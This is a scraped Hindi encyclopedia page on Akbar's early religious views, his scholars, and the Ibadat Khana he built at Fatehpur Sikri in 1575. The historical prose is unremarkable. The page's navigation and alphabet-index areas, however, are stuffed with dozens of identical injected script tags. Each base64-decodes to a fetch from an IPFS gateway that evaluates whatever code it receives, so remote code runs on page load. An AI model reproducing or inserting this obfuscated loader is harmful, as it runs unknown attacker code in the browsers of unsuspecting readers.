अकबर प्रारम्भ से ही धर्म और दर्शन में गहरी रुचि रखता था। शुरू में अकबर परम्परावादी मुसलमान था। वह राज्य के प्रमुख क़ाज़ी अब्दुलनवी ख़ाँ का बहुत आदर करता था। अब्दुलनबी उस समय सदर-उस्-सदूर था और अकबर ने एक अवसर पर उसकी जूतियाँ भी उठाई थीं। लेकिन जब अकबर वयस्क हुआ तो देश भर में फैलाए जा रहे रहस्यवाद ने उसे प्रभावित करना शुरू किया। कहा जाता है कि वह पूरी-पूरी रात अल्लाह का नाम लेता हुआ उसके विचारों में खोया रहता था और अपनी सफलताओं के लिए उसका शुक्रिया अदा करने के लिए वह कई बार सुबह-सुबह आगरा में अपने महल के सामने एक पुरानी इमारत के एक सपाट पत्थर पर बैठ कर प्रार्थना और ध्यान में खो जाता था। धीरे-धीरे वह धर्म के परम्परावादी रूप से विमुख हो गया। जज़िया और तीर्थयात्रा कर उसने पहले ही हटा दिया था। इसका संकेत हम कर चुके हैं। उसने अपने दरबार में उदार विचारों वाले विद्वानों को एकत्र किया। इनमें से सर्वाधिक उल्लेखनीय अबुलफ़ज़ल और उसका भाई फ़ैज़ी और उनके पिता हैं। महदवी विचारों के साथ सहानुभूती रखने के कारण मुल्लाओं ने इन्हें बहुत परेशान किया था। एक अन्य महत्त्वपूर्ण व्यक्ति महेशदास नामक ब्राह्मण है जिसे राजा बीरबल की पदवी दी गई थी और जो हमेशा अकबर के साथ रहता था।

1575 में अकबर ने अपनी नई राजधानी फ़तेहपुर सीकरी में इबादतखाना अर्थात प्रार्थना भवन बनवाया। उसने यहाँ विशेष धर्म गुरुओं, रहस्यवादियों और अपने दरबार के प्रसिद्ध विद्वानों को आमत्रित किया। अकबर ने उनके साथ धार्मिक और आध्यात्मिक विषयों पर चर्चा की। उसने बार-बार कहा "ओ बुद्धिमान मुल्लाओं! मेरा एकमात्र लक्ष्य सत्य की पहचान, वास्तविक धर्म के सिद्धांतों की खोज और उनको प्रकाश में लाना है।" यह चर्चा पहले केवल मुसलमानों तक सीमित रही। परन्तु यह नियमित नहीं थी। मुल्लाओं ने आपस में झगड़ा किया। एक-दूसरे पर चिल्लाए और यहाँ तक की अकबर की उपस्थिति में ही एक-दूसरे को गाली दी। मुल्लाओं के व्यवहार, उनके अहंकार और दम्भ ने अकबर को खीज से भर दिया। परिणामतः वह मुल्लाओं से और भी दूर हो गया। तब अकबर ने इबादतख़ाना सब धर्मों – ईसाई, ज़राथुष्ट्रवादी, हिन्दू, जैन और यहाँ तक की नास्तिकों के लिए भी खोल दिया। इससे चर्चाएँ और अधिक विषय पर शुरू हुईं और यहाँ तक की उन विषयों पर भी चर्चाएँ हुईं जिन पर सब मुसलमान एक थे। जैसे कि क़ुरान अंतिम देवी पुस्तक है और मुहम्मद इसके पैग़म्बर हैं, पुनर्जन्म, ईश्वर की प्रकृति आदि। इससे धर्म गुरु भयभीत हो गये और अकबर द्वारा इस्लाम त्यागने की इच्छा की अफ़वाहें फ़ैलाने लगे। एक आधुनिक लेखक का विचार है कि 'अकबर के धैर्य और खुले विचारों की अलग धर्मों के लोगों ने अलग-अलग व्याख्या की। इबादतख़ाने से उसे श्रेय के स्थान पर बदनामी ही अधिक मिली।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अं   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> क्ष   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> त्र   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ज्ञ   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> श्र   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=मुग़ल_काल_6&oldid=656554" से लिया गया